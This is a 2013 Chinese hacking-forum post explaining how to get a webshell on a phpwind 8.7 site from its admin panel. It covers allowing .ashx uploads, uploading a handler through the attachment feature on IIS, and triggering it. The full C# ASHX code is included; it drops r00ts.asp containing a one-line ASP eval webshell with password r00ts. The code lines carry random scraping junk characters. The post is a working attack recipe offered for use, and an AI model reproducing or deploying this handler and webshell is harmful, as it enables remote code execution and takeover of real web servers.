找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2152|回复: 0
打印 上一主题 下一主题

phpwind 8.7 后台拿shell

[复制链接]
跳转到指定楼层
楼主
发表于 2013-7-26 12:41:46 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
首先点开后台地图 然后附件设置 添加一个ashx后缀 2000大小: |! c. Y. R0 f3 q! }8 f6 W

5 B2 V% t0 t3 G- N群里面我以前扔的那个ashx.txt 下载回来改成fuck.ashx$ X, Y( X" V/ K  u) S/ f
* ]% C, d3 s, Y1 O* f% X/ v+ w2 O
发表文章那边有个附件上传 把ashx扔上去 前提是iis 阿帕奇我还真不知道咋整9 u; F: T4 D) x1 |+ S4 U
( p& y, x$ K/ a  H+ P
然后再打开后台地图 附件优化 滑到下面就看到刚上传的ashx7 Y) Z  X+ o; g1 ~) u3 H( l8 D+ l

, B- S( U1 O- [! Y! }. a; v+ c打开之后空白 会在目录底下生成r00ts.asp 密码r00ts  o* ^# o2 `$ p& n

1 v# E/ \- H" q: q* c下面是代码:! ^# V+ Y- }# z* g0 }

8 k/ O" V: U2 o<%@ WebHandler Language="C#"Class="Handler" %>& S( z% u& C4 ^% k+ N. a! u
using System;
6 H7 y- l& L$ l( T; @using System.Web;
7 l5 [3 _2 y' Z9 ]using System.IO;
6 S5 R' G1 w) G( L1 @! K0 Kpublic class Handler : IHttpHandler {
$ T/ i, M* x' O+ Tpublic void ProcessRequest (HttpContext context) {
; m6 K' r# A8 i4 L6 ocontext.Response.ContentType = "text/plain";
  t; ^  H) Z) Z3 i$ _# {StreamWriter file1= File.CreateText(context.Server.MapPath("r00ts.asp"));
1 x3 a) b7 L0 O  c+ v6 ufile1.Write("<%eval request(\"r00ts\")%>");
& I* c1 a. n0 g& z$ f) f; A  yfile1.Flush();3 @) l6 R1 L! m5 M
file1.Close();4 A2 j. c1 N5 ]& Z% P) U+ d- l
}
2 s% O( X4 _% Z' Lpublic bool IsReusable {
# l) @9 r; h/ Mget {
3 B; a+ g# X! b$ L1 `+ b2 zreturn false;7 g) R+ F# X) K0 P# s1 U! C
}
5 M  {- ^, l! D2 L- x6 O}* H. P+ z1 v: ?* R0 m+ ?
}8 `, L3 Z7 w( @  R+ h$ Q) K9 k
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表